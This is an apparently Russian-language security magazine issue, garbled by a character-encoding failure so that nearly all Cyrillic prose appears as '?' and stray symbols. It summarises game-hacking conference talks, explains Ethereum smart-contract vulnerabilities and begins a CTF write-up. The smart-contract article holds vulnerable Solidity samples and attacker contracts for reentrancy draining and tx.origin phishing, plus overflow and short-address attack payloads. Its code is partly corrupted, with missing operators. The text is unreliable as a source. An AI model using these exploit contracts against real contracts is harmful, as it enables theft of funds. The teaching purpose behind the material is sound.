???�?????�??� ???�???�?� Android,� ?????� ???� BlueStacks� ?� Leidian,� ????�?
???????�?�????�?.�????�?????�???�???�??�??�?????�?�?�??�???�??
???�????�?� ???�??� ?� ?????�???�?.� ???�??� ???????� ???� ???�????�??� ???
?�??,�??�??�??�???�?,�??�??�???,�?????�?�爎oot????�?�??�?????�??.
???�????�???� ?????�???� ???�??� ?????�??� ???� ???�???�??�?:� ??� ??� ???�?
??????�?� ????????�?� ?� ???,� ???�?� ?????� ???�??�????� root?????� ???�?
???� ???�?????� ???�??� ??� Android� ?� ???� ???�?????� ???�??� ???�??�?,� ?� ????�
???????�????�?�??�??�??�?????�?�???�???�?.
??�???�????�??�????�?�???�??�?���??�????�??�??:�??�??�???�??
???�???�?????�??�?�??�?????�??燗ndroid????�???�?,�??�??�???,�??????�
????� ???�??�??� ???�????� x86/ARM.� ????�??�???� ????�???�?� ???� ??????
?�?????�燚BI,�?????�?�???�?�???�???�?�???�???�???�????�???�??�??,
??�?????�?�?�???�???�?????.��?????�???�??�?????�??�???�??�????�?
?????�???�?�???�??.
?� ???�??� ???�??�????� ???�?????� ????�???�???� ????� ????�???�??� ?????�
?????� ???� ??????� ?� ??????� ?� DBI,� ???????� ???�??�??� ??????�?� ?� ????�???
???�??�??�??�????爔86/ARM.�??�?????�?????�??�???�?�????�??�???,
???� ????� ????�???�??� ????�?????�?,� ?� ??� ????� ???�???�?� ???�?????� ?????�
?????� ???�????,� ???????� ?????�???�?� ?� ???�??????�??�??� ??� ?????�?????
????� ???�???�??,� ?� ????�?????�?� ??????�?� ????�?????�?� ???�????????,
?� ???????� ???� ??????�?� (Dalvik/ART).� ???�?� ???�?????� ???�???�?,� ??????
????�??�???�???�???�?�??�?????��?????�燚BI�?�?????�?�?�??�???�
???�??�???�??.
XENOSCAN��??????????�??????�??�???????????
??????�???????
Nick� Cano.� XenoScan:� Scanning� Memory� Like� a� Boss� //� DEF� CON.
2017
XenoScan� ?� ?????�??� ???�???� ???� ????�??� ???????.� ????�???�??
??�???�??�??�????�?�??�??�?�????�??�???�??�????�(?????�??� Cheat
Engine�� TSearch),� XenoScan� ????�???�?� ???�??�??� ????�????,� ???�???�?
???????� ???�???�????� ??????� ?????�?� ??� ????�???�??�?� ?????� ????�?.
?� ???�??�????� ???�?????� ??????�??�???� ??� ?????� ???�???� ???� ????� ????�
???�??�??�??�?,��??�?�?????�???,�??燲enoScan:
? ????�???�?�???�??�????�???�??�??,�????�??�????�??�??????��???�
???�??�???�??
? ????�???�?�????�??�?�???�??,�???�????�????�牜????�
? ????�???�?�???�????�??�???�?��???�???�???��?�?????.
???�?� ???�?????� ???�???�?,� ???� ????????� ?� XenoScan� ??� ????�?� ?� ????�?,
???????�???�???�?�???�??�???�??�????�??�?,�?���???�?,�???????�
????�?????�??�???�?燦intendo.�?�???�?????�??�??�??�?????�??�????�
??� ???�?????�????� ???�????�??� ??????,� ??� ????� ???????� ???�??�??� ??????
XenoScan:�??�??�??�???�??,�??�??�?????�?��?????.
XenoScan�??�??????�???�?��????�??�???????�????.
??????�??????�????�??????�????�??燬TARCRAFT
?????�?????�???????????�?????
Elias� Bachaalany.� StarCraft:� Emulating� a� buffer� overflow� for� fun
and爌rofit�//燫ECON.�18
???�??� StarCraft� 1.16.1� ?� ?????� ????� ???�????�?� ????�?� ???????�????
??????��???�??�???�???�??�????�???.�?????�?�????�????�??????�
??????�??�???�?�??�??�????�????�???�??�????.�??�???�??�?�???�
????�?� ???????�???,� ???� ?� ???�????�????� StarCraft� ???�????� ?????�?:� ????
??�????�??�??�???�?,�?�??�????�??�?�???�????.
???�?????� ???�??�???�?� ?� ???�????�??� ????�?????,� ?� ??????�?� ???�??�?
????�????�?�??,�??�????�??�?�?�??�??�???�????�???�??????.�????�?
??� ?????�?� ???�???� ???�??�?� ????????� ????�????,� ???????� ???�????
???� ???????� ????� ???�????�??� ????�?????,� ???�??�???�?� ?� ???????�??� ??
???�????�??�??????�??�??�??�?????���??,�??�??�?????�??�???�????�
????�??� ???�????.� ???�??�????� ???�?� ????�???� ???????�?� ??????
?�????�???�??�???.
TASBOT:�??????????�???????????�?�??????�??????
NINTENDO
Allan� Cecil.� Robot� Hacks� Video� Games:� How� TASBot� Exploits� Consoles爓ith燙ustom燙ontrollers�//燚EF燙ON.�16
???�?????�??�??�???�?,�??�??�??????�??�??�??�??�??�???�??�????
?�???�??�??燗GDQ�(?????�?????,�?�??????�??�???�?????�??�???�???
???�???�??� ???�??�??�?� ???�??�????� ????�???)� ???�?� ?????� TASBot.� TAS?
Bot� ?� ???� ???�??�?,� ???????� ???�??�???�?� ?� Nintendo� R.O.B.� ?,� ????�?????�
????�???�??�??�???�??�??�???,�???�?��???�?�???�???�???�??????,
?????�?????�???�???�??�???�??�??�??.
TASBot� ??????�???�?� ???�???� ?� ???�???�????�?� ???�????�???� ????�??
???�???,� ???�?� ?????�???� ??� ???� ???�?????�??� ????�?� ?� ??????�?????
???????�??� ????� �?� ????�,� ?� ???�????�??� ??????.� ???�????�?� ???� ?????
????�??�??�???燦intendo�??�??�??�??�????�??�?????????�?????�????
???�??�???�??�?�???�??�???�??�?.�??�?????�????��????�?????�?
�????� ????�???�.� ??�?????� ????�??�???,� ??� ???????� ???????�???� ????�?
????燭ASbot??,�??�????�??�??�?????�????.�?�???�??�???�????�?,�??
????� ?????�???� ????� ???�???� ????�?� ???� ???� ??????�????� ?� ???�????�??
???????� ???� ??????� ??????�??� ??????�??� Game� Genie.� ????�?� ???,� ???
????�?� TASBot,� ???�????�?� ???�??�??�?� ???� ??????�????� ????�???�???
???�?��?????.
??�?� ???�??�????� ?????� ???????� ????� ????� ????�???�??� ???�??� ????
Twitch,� ???�?� ??� ????�??� ???�???� ???�??�??�???�???� ?� ???�??� Twitch.tv.
???�??�??�???�??�?�16�???,��??��17�???�?�??�?�????�?????
(AGDQ)� ???�????�??� TASBot??� ???�??� ???�???� ???,� ???� ?????�??� ?� ????�??
???�???�???�?????燬kype.
???�???-????,�????!�?????燬MASHBOT??,�??????????
??,�?�??????
Dan� Petro.� Game� over,� man!� ?� Reversing� Video� Games� to� Create
an燯nbeatable燗I燩layer�//燚EF燙ON.�16
???�?????� ???�??�???�?� ?� SmashBot,� ???�?� ???�????,� ?????� ???????
????�???� ?� ????�????� ????� Smash� Bros.� ??� ??????�?� ??� ???�???� ????�???,
???� ?� ???,� ????�???�?????� ?� ???�???�??� ???�???,� ??� ????�???�?� ???,� ???
???????� ????�??????� ??.� ?� ????�??� ??� TASBot??� SmashBot� ?????�???
??� ????�?� ????�??�?????� ?????�???�??� ?????,� ??� ?� ?????� ?????�????� ?
???�??�??????�??�???�??�(??.�??�??�??�???�?燳ouTube).
???�?????� ???�??�???�?,� ???� ?????� ???�?????�???� ???�??� ????� ?� ?????
??�????,�??????�??�??�??�???�?�??�??:牜??�?�??�???�??�???�?,
???????�??????�???�燬mash燘ros�.�??�???�?�?????�??�???�??�??�???�
????�?� ???�????� ?� ???�????�?� ????� ?� ????� ?� ??????� ????�???� SmashBot
??????�?� ??????� ???�???�?.� SmashBot� ????� ???�????� ??� ????� ???�????,� ???
???�????�?� ?� ???�???� ?� ????� ????�???.� ???� ????� ????�????� ??� ?????�?
????,�??�??�???�??.
??�???� ???�???� ?� ????� ?� ????�?????� ????,� ???????� ??????�?� ????�??�?
?????�?� �?????�?� ?????�??�?�.� ???�?� ???�??�??� ???�???�?� ??� ???�????
??� ????� ???�?,� SmashBot� ??????�?� ???�???�?� ?� ???�???� ?????� ????�????�
?????.
SmashBot� ???�??????�???�?� ?� ?????�??� ????????� ?????� (??.� ????�?� ??
GitHub).�
?????
????????????
?????-??????????
????10�??????????
??????????????????
??????????
??�??????
????????????燚ASP
???????�????????
@imtatyanaa
??�????�??� ?????????�???�??� ?� ????�??�?� Ethereum� ????�?
??�??�??�?????�?�18�???�????�?��??�???�?�????�
?????� ?� 2017??.� ????�???�???�?,� ???�??� ?� ???�??�??� ????�
?????�??,� ???�????� ????� ??� ?????�??�???�??�??� ???�????�
???.� ?� ????� ??????� ??� ???�???�?� ???�???�???� ???�????�?
???�????�?� OWASP� Top� 10.� ????� ????� ????� ??????,� ???� ???
??????�?��??�?�?�????.�)
???�???�???�?�??�??�??�??�????�??�???�??,�??????�??�????�??�???�
???�??�????��?�??�???�(??�???牜?????粻 ??�??�?�??�??�?).��????�?,
?????�?????� ???�?:� ??????� ????�???� ??????�??� ???�?� 30� ???�?????� ????�
?????� ??� Parity� ?� 53� ???�????� ???�????� ??� DAO.� ?� ????� ?� ???�?� 2018� ????
????�???�??燦CC燝roup�???�??�???�??�???�????�??�????�??�????�???�
????�??�??� ???�???�??� DASP� (Decentralized� Application� Security� Project)
Top10.
???� ??????� ?????� ?????�??,� ???� ?????�??� ?????????�???�?� ?� ????�??�?
Ethereum.� ?� Ethereum� ?????�??�?� ???� ????� ????�????:� ????�??� (????�???
????�?????�??)��???�???�??�???�??,�??????�??�???�???????�?????????�
????�???.�?�??�????�??�???��??,�??�???�??�??�???�?�??????�???�????�
??��??????�???�????�??�???��??�???�??�??�?�???,�??????�?????�
????�?�?燛VM�(Ethereum燰irtual燤achine).�??�??�????????�????�??�?�???
???�???�?��???�?????.
??�??� ???�????� ?� ????�??�?� Ethereum� ?????�???�?� ?� ???????� ?????�
??????:� ??????�?� ether� ?� ????�?� ????�???� ??� ???�??,� ???�????� ???�???�?,
????�????� ?� ???�???� ???�???�?.� ???�??� ???�????�???� ????�?????� ?????
????�?� ????�??� ????�???,� ?� ???�???�?� ?????� ???�?????� ????�?????� ????�?
???�??�???�?�??????�??�??�???�?????.�?�??�??�???�?????�??�???�?
?????�??,�??�??�?�??�???�??�????�??�??�???�爂as.�????�??�??�???�
????�???�??�??�???�????�???爂as��??????�??爂as.
??�??�?� ???�???�?� ???�??�??�???�?� ??� ???�?� Solidity,� ???????� ????�
??????�???� ?� ????????� ?� ???????�???� ?� EVM� ??� ????� ?????� ????.� ??� Solidity
???�????�??�????�??�????�?�??�??�?????�?��??????�???.�???�????�
??��??�???�?�??�?,�?????�??�??燗BI�(Application燘inary營nterface).
?� ??????� ?????� ???�????� ???�???�??� ???�??� ???� ???�????�??
?�????????�???�??��????�???�?�??�???�????燚ASP燭op�.
REENTRANCY
???�??� ???�?� ?� ????�?� ??????�?� ???�??????� ????� Reentrancy,� ???�?� ??????�
????�??�????�?????�????.�???�???�??�???��??,�??�??�????�??�????
?????�???� ?????� ?� ???�???� ???�???�?,� ???� ????� ????�??� ???�????� ?????
??????� ????????� ?????� ???�???� ???�?????� ???�???�?� ????�?� ??????�???
??????.� ???�???�??� ????�??� ???�????????????,� ?� ???????� ????�?????�?
?????�??�???�???爀ther:
contract燰uln爗
牋爉apping�(address�>爑int)爌rivate燽alances;
牋爁unction燿epositFunds()爌ublic爌ayable爗
牋牋牋燽alances[msg.sender]�+=爉sg.value;
牋爙
牋爁unction爓ithdrawSomeMoney(uint燺someMoney)爌ublic爗
牋牋牋爎equire�(_someMoney�=燽alances[msg.sender]);
牋牋牋爎equire(msg.sender.call.value(_someMoney)());
牋牋牋燽alances[msg.sender]�=燺someMoney;
牋爙
}
?�??�???�????�?�??�?�??�??????�???�?,�??�????�??�????�??:�??�???
withdrawSomeMoney()�??�???�?,�??�?�??�?�???�???�??�????�?�??????,
?????� ??????�???� ??� ?� ???????� ???�???� msg.sender.call.value()� ?,
???????,� ???�???�?� ??????�?????� ether� ??� ???�?� ????�?????�?.� ??????� ????�
????�??�??�?????�??�????:
import�"vuln.sol"
contract燲akep爗
牋燰uln爌ublic爒uln;
牋爁unction爓ithdrawFromVuln()爗
牋牋牋爒uln.withdrawSomeMoney(100);
牋爙
牋爁unction�()爌ayable爗
牋牋牋爒uln.withdrawSomeMoney(100);
牋爙
}
???�????� Xakep� ????�?� ???�???� withdrawFromVuln()� ??????�?� ???�???
withdrawSomeMoney()� ???�???�?� Vuln.� ??� ???� ??????�?� ???????� ???�??�?
msg.sender.call.value()� ??????�???� fallback????�???� ???�???�?� Xakep.
???� ???�???� ???� ???�????,� ???????� ?� ???�??� ???�??� ??????�???�?
???� ??????�??� ???�???�??� ether,� ?????�?� ???� ????�???� ??????�???�??
payable.�???�?�??�??�????燲akep�??�?�?????�?�??�???爓ithdrawSomeM?
oney(),� ???�??� ???�?� ????????,� ???� ?� ?????�?� ????�???� ?� ??????�?� ether
???� ??� ???�??�?,� ???�??,� ???�??�?� ???�????�????� ?????�?� ???????,� ?� ??
???�?� ??????�?� ?� fallback????�???.� ???� ???�???�??,� ????� ??� ???�???�?� Vuln
???�??�?�???�??�?�??????.�??�??�??�??�??�??�??�????�?�??�???燚AO
?�?????�??�?��??�?????�??�????.
??�????�?� ???????�?� ??????� ???�?� ???� ??????� ???�???� transfer(),
??� ????� ???� ??� ????�?????� ??????�?????� ?????� ????�???,� ??� ???�?� ???�???
????�???�?????�???�???,�????�????�???�????.
??????????�???????�(ACCESS燙ONTROL)
????� ???�???� ?????� ???�???�??� ??????� ???�???�?� ???,� ?????�??,� ???�?????
????�?????�?� ????�???�???�?� ?� ????�??????� ???�???�????�?� ???�???�?.
???�??�??�????�?�??�??�?�??�???.�??�??�???�燬olidity�????�??�?�???�
????�???�?� ???????�?:� private,� publuc,� internal,� external.� ???�???� ???� ????�
????�???�?� ????�???�??�?� ???�???�?� public,� ??� ????� ???�????� ???� ??????
????�???.
INFO
Private????�???� ?� ???�???�??� ???????�??� ????�
?????� ?????�?????�?� ????�?� ???�??� ???�???�?.
?� public????�??�?� ?� ???�???�??� ???????�??
???�?� ????�???�?� ???� ???????� ???�???�?,� ???
?� ???�???.� Internal????�???� ?� ???�???�??
???????�??� ?????� ????� ???�????� ???????
??????�?�??�???�?�??�?�??�???�?????�????�?.
External????�???� ?????� ????� ???�???� ??� ???�??
???�???�??�??�????�???�?????��?�????�???
???�???�??????�?????�?�??�???�?.
??�???�??????�????�??????�??�???�???�??�??�???�???�??????�?�???�
???� ?????� ???�??�?� ?� ???�????�???�??� ???�???�??�?.� ???�????,� ?????
???�???� ???�?� ???�???�?� ???�???�?� ??� ???�???�???�??� public� ???�???�?
??????� ????�???� ?????� ???�???�??� ???�???�?.� ???�?� ?� ???�???� ????� ????�
?????�??� ????�??�?� ??????�??????� tx.origin� ???� ????�???�??� ????�???,
???�????�?�??�????.�??�???�??�????�??�??:
contract燱allet爗
牋燼ddress爌ublic爋wner;
牋燾onstructor�(address燺owner)爗
牋爋wner�燺owner;�
牋爙
牋爁unction�()爌ublic爌ayable爗}�
牋爁unction爓ithdrawAll(address燺luckyAddress)爌ublic爗
牋牋牋爎equire(tx.origin�=爋wner);
牋牋牋燺luckyAddress.transfer(this.balance);�
牋爙
}
???�????燱allet�???�???�???�????�??????,�??�????�??�?�?????�?�????
???????�?�?�??�??�??�????�???�?�??�??�????,�????�??�??�??�????
???�???�?.�???�?�??�????�?�???�?�??�??�?�??�???�?��??�???� with?
drawAll.�?????�??�????�??�?????�??�????.
import�"wallet.sol";
contract燭rueXakep爗�
牋燱allet爌oorWallet;�
牋燼ddress燼ttacker;�
牋燾onstructor�(Wallet燺poorWallet,燼ddress燺attackerAddress)爗�
牋牋牋爌oorWallet�燺poorWallet;�
牋牋牋燼ttacker�燺attackerAddress;
牋牋牋爙
牋爁unction�()爌ayable爗�
牋牋牋爌oorWallet.withdrawAll(attacker);�
牋爙
}
??�???�??� ????�??�??� ????�????,� ???�?� ???�?????� ???�???�?� ???�???�?
Wallet�????�???�??�???�?燭rueXakep�?????�??�??????�??爀ther.��???�???�
???� ????????�?� fallback????�???,� ??� ???????� ???�???�??� ?????� ???�???
withdrawAll� ???�???�?� Wallet.� ?� ??????� ???�????�?,� ?????� ???�????� ???�?
tx.origin.� tx.origin��??�??�???�??�??????�??�燬olidity,�??????�???�
????�?� ???�????� ????�?� ???????�?� ????�???,� ???�????�?� ???�???
???�????�??�???�???�?????.��????�??�??� tx.origin��??�????�???�
????�?� ???�???�?� Wallet,� ???� ???� ????�?� ??� ???????� ???�?????�???�????
???????.�????�???�??,�??�??�?�??????�??�????,��???爀ther��??????�
??�?????�??�?�??�???�????�?.
???�?� ??????� ??� ???�???�???,� ????�?????� ??????�?????� ???????�??
msg.sender�??�???�???�??�???�???,�??�????�?�??�???.� msg.sender�
???� ?????� ????�???,� ???????� ?????�???�???�?� ???�??� ?????� ???� ?????�??
????�?????.��??�??�??�??�??�????�??�???�?燭rueXakep.
?� ????� ??????�??� ???�????�??� ???�?� ????�??�?� ???�?????�??� ???????�
???????� delegatecall.� ???� ???�?????�????� ???�???,� ???????� ???�???�?
?????????�??�???�??�??�???�??�???�?��??�??�??�?????�??�?�??�????�
??.�?�???�??�??????�??�??�???�??�??�???�??�???�?�?????�???�?�???�
????�?�?????�??�?�??�???�?,��??�????� msg.call�� msg.value�???�???
???�???????�???.� ???�??� ???�?� ??� Parity� ????�???� ??� ??????�??????� dele?
gatecall��??�?????�??�????�????�??�???�?????�????�?,��?????�???�???
????�???????� ????� ?????� ???� ???�???�??� ?� ???�???� ???�????.� ???� ?????�??
?� Parity� ????�???� ??????�??�???,� ???� ???� ???�???� ??????� ???????� ???????�
????�?�??�??�???�??�???�?.�???�????��??,�??�???�???????�??�??�?
???�??�??�????,�??????�?�?燝itHub燩arity.
??�???�??�?�??�????�??�???�?燩arity
??????????????�??????????�(ARITHMETIC營SSUES)
???�????�?�??????�????�?�??????�????,�??���??�??�??�??,�??�???�?
?????� ????�????�???� ???�???� ??????,� ???????�???� ??� ???????�??.� ????�
??????�??� ???�????� ???� ???????�??� ????� uint� (uint256)� ???�?� 2256?1,
????????�??���??�?�?�??�??�???�?�??????�?:�??�????�???�????�
???�?� (???� ???????�????� ?????),� ????� ???�??� ???�?????�??� (???� ????????�
?????�???).
??�?�????�??�???�?????�???�??�??�???,��??????�???�??????�??
???�????� ?????�???�?� ???� ???�????.� ???�???�??� ???�??????� ?� ???�???
batchTransfer,�??????�?????�???�??�??�????�??�??�???�?.
function燽atchTransfer(address[]燺receivers,爑int256燺value)爌ublic�
whenNotPaused爎eturns�(bool)爗
牋爑int燾nt�燺receivers.length;
牋爑int256燼mount�爑int256(cnt)�*燺value;
牋爎equire(cnt��&燾nt�=�);
牋爎equire(_value��&燽alances[msg.sender]�=燼mount);
牋燽alances[msg.sender]�燽alances[msg.sender].sub(amount);
牋爁or�(uint爄��爄�燾nt;爄++)爗
牋牋牋燽alances[_receivers[i]]�燽alances[_receivers[i]].add(_value)
;
牋牋牋燭ransfer(msg.sender,燺receivers[i],燺value);
牋爙
牋爎eturn爐rue;
}
???�???� batchTransfer()�??????�???�????�??�� _value�??????�??爀ther
??� ????�?� ??� ???�???� _receivers.� ????�?� ???�????� ??� ????�?� ?????�????
amount,�??????�????��??????�????�?�??�???�???.�???�?????�??�????
_value�??�??�56�/燺receivers.length,�?��?????�???�??????�????� amount
???�??�??�????��??�??�??�?�????�???�??�??????,��??�??�?��???�
???�?�???,�??�?????�????�???�?�???�?� amount.��??�?�????�?�??????�
?????� ?????� ?????�???� ??� ??????�?� _value.� ????� ??????�????� ????� ???,� ??
???�??�?�??�??????�?
2^256/2=2^255=0x8000000000000000000000000000000000000000000000000
000000000000000
??�????.
???�????�????�????�??�??�????�??�??????�???�?�?????�?????�???�
?????�?燬afeMath�?燨penZeppelin.
??????????�???????�???????????�???????
??????????????�??????�(UNCHECKED燫ETURN燰ALUES燜OR
LOW燣EVEL燙ALLS)
??�??�??�?� ???� ???�???� ?????�???� ether� ??� ???�??�??� ????�??:� transfer(),
send()� ?� call().� ???�?????� ???� ???�???� ???� ???�????�????� ????�?� ????�
???�???� false,� ??� ????�?????� ???�??�???� ?????�???�?.� ???�???� transfer()
?� ?????� ???�??� ????�??� ????�?????.� ???�?� ????�?????� ?????�?????� ???�???�
??????� ???�????� ???�?????�????� ???�???� callcode(),� delegatecall().
???�???�?�???�???�?�???�?????,�???�??�??�???�?�?????�??爁alse.�???�
????�??�??�??????�?�??�???:
function爂ive_presents(address[]燺winners)爌rivate爗
牋爑int爈en�燺winners.length;
牋爁or�(uint爄=0;爄<len;爄++)爗
牋牋牋燺winners[i].send(10);
牋爙
}
???�???�?�??�???�?????�???�????�?�?????�????�?�??�???� _winners.
???�???�?�??�??�?????�??�????�??�???爏end�?�??�???�???,�????�???�
????�?� ???,� ???� ??� ???� ??????�???� ???????� ????� ?????�?.� ?????�?� ????????�
????�?�??�???�?????�??�??????�?????�?????�??�???爐ransfer().
?????��???????????�(DENIAL燨F燬ERVICE)
?� ????� ??????�??� ????�??� ???�??�??� ???�????�??,� ???????� ?????� ???�??�?
?� ??????�??�????�????� ?????????�???�?.� ???�???�???� ???�???� give_pre?
sents�????�???�??,�??�?�??�???�???�??�??�?????�??�??�?爏end�???�
?????.
function爂ive_presents(address[]燺winners)爌rivate爗
牋爑int爈en�燺winners.length;
牋爁or�(uint爄=0;爄<len;爄++)爗
牋牋牋爎equire(_winners[i].send(10));
牋爙
}
???�??�??爎equire�????�???�??�??????�??�???�???�??�??,�???�?�??�??
????�???�?????�???�?�??�??�???????�???�???�??,�?�?????�??�???
???�?�??????.
?�?????�???�??�??,�??�??????�??�?????�????�?�???�???�?��????�
???�??�?????�???�???�??????�??�?.�??�???�?????�????�??????�???�
??????� ???�?� ????�????,� ???????� ???�??� ??????�???�?.� ???� ?????�????
???????��??�?�????�??�???????�?�???�??�??????�??爂as,�??????�???�
?????�????爂as��??�?,��????�???�?????�?�????�????�???.�??�?????�
???????�??�??�???�???�????�???�?????�????�??�???�??�?????�????�
???� ????� ??� ???�???�?,� ???�??� ??� ???????� ?????� ?????�???�?� ?� ??????�??
????�?????.
????????�??????????????�????�(BAD燫ANDOMNESS)
????�???� Ethereum� ????�??� ??� ?????�?????�??�??� ????�??�?,� ?????�?
??????�??�??�??�??�????��?????�???�??.�??????�???�???�????�??�??
?????�?�????�??�?????:
? ??�????�??�??�???�?,�???�???�??�??�??�???�???�??爌rivate?
? ??�????�??�??�??
? ???�??�???�???��???�?????�?�??�?.
??� ????� ????� ????�????� ????�????�??�??� ???�?� ?????� ????� ???�???�???.
?????� ?????�??� ???�???� ??????�??� ????�????�??�??� ?????� ?� ???????�
???????�???�??�??????�??,�???�???燬ignidice,�??�??燙ommit�燫eveal.
???�????� ?� ????�???� ??????�????� ????�????�??�??� ?????� ???� ??????
?�?????.
??????????�(FRONT-RUNNING)
?� Ethereum� ???� ????�?????� ???�???� ?????�???�?� ?� ???,� ???????� ?????� ????
????�??�??� ????,� ?� ?????� ???�???� ?????�???� ??� ?� ????� ?� ???�?????�??
?????�?.� ?????�?� ??????�??� ?????�????� ????�?????� ??� ???�??� ????????
??�?�?????�??��??�?.�??�???�??�??�??:
contract燬olveTheHash{
牋燼ddress爌ublic爋wner;�
牋燽ool爌ublic爏olved;�
牋爑int爌ublic爎eward;�
牋燽ytes32爌ublic燿iff;�
牋燽ytes爌ublic爏olution;
牋燾onstructor(){�
牋牋牋爋wner�爉sg.sender;
牋牋牋爎eward�爉sg.value;
牋牋牋爏olved�爁alse;
牋牋牋燿iff�燽ytes32(11111);�//�????????�
牋爙
牋爁unction(){牋
牋牋牋爄f�(msg.data.length��{�//�???????�??????
牋牋牋牋牋爄f�(locked)爐hrow;
牋牋牋牋牋爄f�(sha256(msg.data)�燿iff){
牋牋牋牋牋牋牋爉sg.sender.send(reward);�//�???????�?????????????�
牋牋牋牋牋牋牋爏olution�爉sg.data;
牋牋牋牋牋牋牋爏olved�爐rue;
牋牋牋牋牋爙
牋牋牋爙
牋爙
}
???�????�???�???�???�????�??�???�?�????�??�?,�??�?�?????�?�????�
??� ?????�???� ???�????.� ?????�??,� ??� ?????� ???�??????� ???????� ?� ??????�
???� ????�?????� ?� ????�??.� ?????�???� ?????� ?????� ???�???�???� ????� ?????
?�???�???�?????��????�???�????�?.�??�?????�?�???�?????�??�?�???�
????� ????� gas,� ???????� ??� ?????� ???�?????,� ???�?� ????� ????�?????� ??????�
??????.�??�???�???爂as,�??�???�?�???�??????�???�?????�???�?????�
??????� ?� ????� ????�?.� ?????� ????�??,� ???�???�?????,� ???�????� ????� gas
????,�??�??�???�???�??�???.
???�????� ?????� ????�???� ?????�????� ?� ???�????� ????�???�??� ??� ????
gas,� ??� ???�???� ???� ???�?� ???�??� ??????�???�???� ?????�??� ????�?????.
?????� ???�???�??,� ??� ????�??� ??????�?� ?????� ???�?� Commit� ?� Reveal,
???� ?� ?� ???�???�??� ???�??.� ?� ???�??� ???�??� ????�?????�??� ????�???�???
???�???� ??????�???� ???� ??� ???�??�???� ???�?.� ???�?� ?????�????� ????� ?????�
??????��???�???�???????�?????�???�??�??�??�??�?.�?????�??�??�????�
????,�??�????�???�?????�???.
???????????�?�??????�(TIME燤ANIPULATION)
?� Solidity� ???????�??� now� ????�???�??�?� ???�???�??� ???????�??� block.
timestamp,� ???????� ????�?� ???�??,� ?????�?� ??????�?????� ??� ?� ?????�??
???????�?�????�??�???�?.
contract燗uction爗
牋爑int爅ackpot��0爀ther;
牋爑int爌ublic爈astBid��ther;
牋燾onstructor()爌ublic爌ayable爗}
牋爁unction爏etBid()爌ublic爌ayable爗
牋牋牋爎equire(msg.value�=爈astBid);�
牋牋牋爄f�(now%20�=�{
牋牋牋牋牋爉sg.sender.transfer(jackpot);
牋牋牋爙
牋爙
}
???�????�???�???�???�????�??�??�??�????��??????:�???�??�?�??????�
????� ????�?,� ????�???�?� ???,� ???�?� ????�?� ??????�?� ????�????�???� ?????�
?????�???� ????�??.� ???� ?????�??????�???� ????�???� ???�??� ?????� ?????�
??????� ???�??????� ???�????� block.timestamp� ?� ????�???� ????� ??� ???�?
????�?????�???�????�?.
???????????????�?????�?????�(SHORT燗DDRESS燗TTACK)
???� ??????� ???�???� ???�???�??� ??????�???�?� ABI� (Application� Binary
Interafce)��????�??�????????�??�???�??,�??�????�?????�?�????�???�
????�???�???�???�?��???�??�?????�???�??�?�??�??.�??�??�?????�???�
??� ?� ???� ??????� ????� keccak256� ??� ???�???� ???�???� (??� ???�????� ?� ????
????�??�??�??),�????�???�??�????�???�??�??????�??.
function爐ransfer(address爐o,爑int燼mount)爌ublic爎eturns�(bool�
success);
??�??� ?� Ethereum� ???�???� ??� 20� ????.� ???� ???�???�??�??� ???�?� ???�????�
?????�?�??�?�??�???�?????�????,�??????�????�???�???�?�??????�???,
???�????� abcdabcdabcdabcdabcdabcdabcdabcdabcdab00.��???�??�??�??
?????�??�???�?�??????�ther�????�??�?????�??�(???�?????�??�??�??
???�?????�??�????�???�??�?????�???�??�?):
a9059cbb|000000000000000000000000abcdabcdabcdabcdabcdabcdabcdabcd
abcdab00|000000000000000000000000000000000000000000000000000
0000000000001
??�???�??�???�????� abcdabcdabcdabcdabcdabcdabcdabcdabcdab�??�???�
?????�?�??�?,�?�????�?????�???�???�?�????�???�?�??�????�?�????�
???�?�(amount),���????燛VM�??????�??????�???:
a9059cbb|000000000000000000000000abcdabcdabcdabcdabcdabcdabcdabcd
abcdab|00000000000000000000000000000000000000000000000000000
0000000000100
??�???�???,� ????�?� 1� ether� ???�??� ?????�??� 0x100=256� ether.� ????????�?
??� ?????� ???�?� ???????� ????�?� ???�???�??� ???�??�?� ???????�??� ?????� ????�
??????�?��???�???.
???????????�(UNKNOWN燯NKNOWNS)
???�??�??????�??�??�???�???,�???�???�????�???�??燬olidity�??�???�?
??????�???�???,� ????�?� DASP� ?????,� ???� ?????� ???�???� ?????� ????� ????�
?????�??,�??????�????�??�??�??�?????.
??????????
???�???�?????� ????�?????�??,� ?� ?????� ???�???,� ???�??�???� ?� ??????�??
???�??�??� ???�??� ???�????�??,� ?� ???�??� ?� ??� ???�???�?� ??????�??� ??� ???
???�??.� ???�????,� ???�????�?� ???�??�?� ???�???� ???�???�?� ??� ???�?????
??� ??????�??� ????,� ???�??�?� ???�??�??� ?� ??????�?????�?� delegatecall
???� ??????� ?� ???�???�???????�????�???.� ?� ???� ????�?� ???�?� ????????� ????�
?????�?� ????�?????�???�??,� ???????� ???????�????�?� ?????� ??� ???�????�
??????�????�?.� ???�?� ?� ????�?????�??� ??� ???�???� ????�???� ?????�?????�
????�??�??� ???????�??� ?� ???�???�?� ?� ???�???????� ??????�?� ether
?????????�???�?,�??????�??�?�?�??�???.
WWW
?DASP燭op�
????�??�????�??� ???�??� ?????�???� ???�????
????��???�??�?????燬olidity
?????
CTFZONE 2018:
PRIVATE_PROBLEM
?????????�??????�??????
??�?????��????????
?�?????????燙TF
????????燘I.ZONE
??�??�????� ?????�????� ????� ???�??�??
?????�??????� CTFZone,� ???????� ???�????
???� ???�??� ???� ???�??.� ???�??� ??????
??????� ????�??�???� ????� ????�?????
??�????燙TFZone�18,�??????�??�???�?
??� ???�????�??� OFFZONE� ?� ????�?.
??� ???�????� ?????�?� ????� ????�????�??
???�?��??�???燗ttack/Defense.
????�????????
vasilenko.yegor@gmail.com
?????�?�?�??�????�???�?�????�???�???�??�??????�????�?????�???�
??� ?� ???????� ??� ??????� ?� ?????�???� ???� ???�???�?� private_problem.� ????
????�?????�???�?�???�????�?�?�??�??�燣C?BC.
??????????�?????
?� ?????�??� ????????� ???�??� ???�??�????�???� ????� server.dmp.� ????�?????
???�?�????�????�??�?�ag.txt.
??????????��??????�????燬ERVER.DMP
??�?????� ????� ???�?� ???�??� MDMP.� ???� ???�???,� ???�?� ??????� ???�???
???�???�?�??�???�????�??�????�??�??�????�????�???�????�??�??�?.
???�?� ????,� ???�????�??� ????� ???�?� ???�???� ?????�??????�?.� ???�????,
???� ???????� ???�??�?� ?� Visual� Studio� ???� ???� ??????� ???�????�???�??�??
???�??�(??.�????�??).
???�????�??�?燤DMP�??�?????�??�???燩rocess燛xplorer
